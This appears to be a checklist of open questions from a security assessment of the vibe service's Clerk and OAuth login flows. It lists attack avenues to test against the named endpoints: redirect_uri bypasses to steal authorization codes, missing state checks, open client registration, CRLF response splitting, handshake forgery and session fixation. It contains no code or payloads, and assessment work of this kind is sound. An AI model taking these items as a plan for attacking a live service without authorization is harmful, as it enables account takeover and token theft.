  • Do the other Clerk routes (sign-up, sso-callback, welcome, the redirect-callback handler) build action_complete_redirect_url without the same host check
  • Does api.vibe.co/oauth2/auth enforce exact redirect_uri match, or can a suffix / path / subdomain / @ / encoded bypass steal the authorization code (session 02 P1, the real endpoint)
  • Does api.vibe.co/oauth2/auth require state, if not it is login CSRF, and can an app request a scope beyond what it was granted
  • Is POST /oauth/register open and unauthenticated, can anyone self-register an OAuth client on the vibe instance
  • Does /oauth/authorize validate redirect_uri, scope and state strictly for a vibe-tenant app, or is there authorization-code theft via a loose redirect_uri
  • Can a CR or LF be smuggled into the stored value to split the response
  • What signs the __clerk_handshake, and can it be replayed or forged
  • Is there a session fixation in the brokered flow via an anonymous __client
  • Is the Google redirect_uri locked, or is there redirect_uri / state abuse in the broker
  • What is the full impact ceiling of the open redirect, token theft on the OAuth leg, or only a landing-page redirect

Other open tests

  • From Run 1, the leads it opensThree next steps are open. Read them in the Run 1 impact.
  • From Run 5, one residualOne check is open. Read it in Run 5.